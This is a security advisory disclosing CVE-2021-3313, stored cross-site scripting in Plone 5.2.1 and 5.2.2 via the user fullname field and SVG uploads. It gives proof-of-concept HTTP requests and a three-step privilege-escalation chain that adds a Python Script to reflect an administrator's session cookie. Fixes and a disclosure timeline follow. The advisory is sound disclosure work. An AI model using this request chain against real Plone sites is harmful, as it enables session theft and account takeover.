############################################################### # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################### # # Product: Plone # Vendor: Plone Foundation # CSNC ID: CSNC-2021-013 # CVE ID: CVE-2021-3313 # Subject: Cross-Site Scripting (XSS) # Risk: Critical # Effect: Remotely Exploitable # Author: Tino Kautschke # Date: 26.01.2021 # ############################################################### Introduction ------------ Plone is a free and open source content management system built on top of the Zope application server. Plone is positioned as an "Enterprise CMS" and is commonly used for intranets and as part of the web presence of large organizations. High-profile public sector users include the U.S. Federal Bureau of Investigation, Brazilian Government, United Nations, City of Bern (Switzerland), New South Wales Government (Australia), and European Environment Agency. [1] Compass Security identified a stored Cross-Site Scripting (XSS) vulnerability in the Plone CMS. Successful exploitation requires authentication and can be performed remotely. Affected -------- Vulnerable: * Plone 5.2.2 (5209) * Plone 5.2.1 (5208) Not tested: * Plone 5.2.3 * Plone 5.2.4 Not vulnerable: * Plone 5.2.4 (with hotfix 20210518) * Plone 5.2.5 Technical Description --------------------- The user input data is not properly encoded, when returned back to the user's browser. The browser will interpret data as JavaScript, when visiting a vulnerable page. An exploitation of this vulnerability allows for: - Privilege Escalation by stealing the session cookie of a higher privileged user, which is able to deploy Plone-PythonScripts. - Stealing or manipulation of user data - Redirection of a user to a Phishing page In following, two example attack vectors for XSS, then the privilege escalation path using XSS with 3 requests against a higher privileged user: Example #1: This one depends on configuration of the backend systems. The XSS payload can be placed by changing the own user fullname. Possible as low privileged user. The script will be executed on the "Edit Page" in "Ownership"-Settings, when searching for the user with the XSS payload in username. Request: POST /Plone/@@personal-information HTTP/1.1 Host: kali:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------304504525237700496553549953184 Content-Length: 1239 DNT: 1 Connection: close Referer: http://kali:8080/Plone/@@personal-information Cookie: __ac="i199f0fpDE71Q4GCB9PypX3PUZcnJctWyfgsiLu55282MDBlZTQxOGNzbmMh" Upgrade-Insecure-Requests: 1 -----------------------------304504525237700496553549953184 Content-Disposition: form-data; name="form.widgets.fullname" xss poc -----------------------------304504525237700496553549953184 [cut] Example #2: The fileupload is vulnerable to XSS. As user with the privilege to upload files, it is possible to upload an SVG image with XSS payload. The uploaded SVG file with XSS is accessible to unauthenticated users. The payload will be executed because of the content type image/svg+xml. Request: POST /Plone//fileUpload HTTP/1.1 Host: kali:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: 11b9debc2ae98a62580db8774af04e5ab8ec9036 Content-Type: multipart/form-data; boundary=---------------------------349630636412758476432176011885 Content-Length: 586 Origin: http://kali:8080 Connection: close Referer: http://kali:8080/Plone/folder_contents?_authenticator=11b9debc2ae98a62580db8774af04e5ab8ec9036 Cookie: __ac="NjE2NDZkNjk2ZTo2MTY0NmQ2OTZl"; plone-toolbar=%7B%22expanded%22%3Atrue%7D -----------------------------349630636412758476432176011885 Content-Disposition: form-data; name="file"; filename="xss.svg" Content-Type: image/svg+xml -----------------------------349630636412758476432176011885-- Requesting the uploaded as unauthenticated user: The payload will be executed because of the content type image/svg+xml. E.g.: http://kali:8080/Plone/xss.svg Request: GET /Plone/xss.svg HTTP/1.1 Host: kali:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 200 OK Accept-Ranges: bytes Connection: close Content-Length: 364 Content-Type: image/svg+xml Date: Mon, 25 Jan 2021 16:07:40 GMT Server: waitress Via: waitress X-Frame-Options: SAMEORIGIN X-Powered-By: Zope (www.zope.org), Python (www.python.org) For privilege escalation it is possible to prepare an XSS payload, which will send 3 requests to create a Plone Python Script in context of an admin user: 1. Getting the Plone CSRF token from a response of a simple GET / There is something like this in body content: 2. Placing the following Plone Python Script to reflect session cookies: print(context.REQUEST) return printed Request: POST /Plone/manage_addProduct/PythonScripts/manage_addPythonScript HTTP/1.1 Host: kali:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://kali:8080 Connection: close Referer: http://kali:8080/Plone/ Cookie: __ac="NjE2NDZkNjk2ZTo2MTY0NmQ2OTZl"; plone-toolbar=%7B%22expanded%22%3Atrue%7D Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 153 id=TestScript1&title=TestScript1&file=print%28context.REQUEST%29%0areturn+printed%0a&submit=Add&_authenticator=26a38775f066aec64afeef1db81f0cb870756fab 3. Requesting the Plone-PythonScript to parse the reflected session cookie: Request: GET /Plone/TestScript1 HTTP/1.1 Host: kali:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: __ac="NjE2NDZkNjk2ZTo2MTY0NmQ2OTZl"; plone-toolbar=%7B%22expanded%22%3Atrue%7D Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 200 OK Connection: close Content-Length: 5004 Content-Type: text/html; charset=utf-8 Date: Mon, 25 Jan 2021 16:38:12 GMT Server: waitress Via: waitress X-Frame-Options: SAMEORIGIN X-Powered-By: Zope (www.zope.org), Python (www.python.org) [cut] HTTP_COOKIE'__ac="NjE2NDZkNjk2ZTo2MTY0NmQ2OTZl"; plone-toolbar=%7B%22expanded%22%3Atrue%7D' [cut] Vulnerability Classification ---------------------------- CVSS v3.1 Metrics [2]: * CVSS Base Score: 7.6 * CVSS Vector: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L Workaround / Fix ---------------- User input must be correctly encoded to ensure it is not possible to execute JavaScript in context of the user's browser, when embedded into the web page. For HTML body content, use HTML encoding: - < -> < - > -> > - " -> " - ' -> ' - & -> & File downloads should be enforced using the response header "Content-Disposition: attachment". A Content-Security Policy without allowing 'unsafe-inline' script is recommended as second layer of protection. Plone-PythonScripts should be restricted to prevent a session cookie reflection. As Plone user, please update your installation to the latest version. Timeline -------- 2021-01-26: Discovery by Tino Kautschke 2021-01-26: Initial vendor notification 2021-01-26: Assigned CVE-2021-3313 2021-01-27: Initial vendor response 2021-02-15: Vendor partially confimed the issues 2021-03-18: Vendor confimed the issues and planned a hotfix 2021-05-18: Hotfix released / public disclosure [3][4][5] References ---------- [1] Jan 2021 https://en.wikipedia.org/wiki/Plone_(software) [2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L&version=3.1 [3] https://plone.org/security/hotfix/20210518 [4] https://plone.org/security/hotfix/20210518/stored-xss-from-file-upload-svg-html [5] https://plone.org/security/hotfix/20210518/stored-xss-from-user-fullname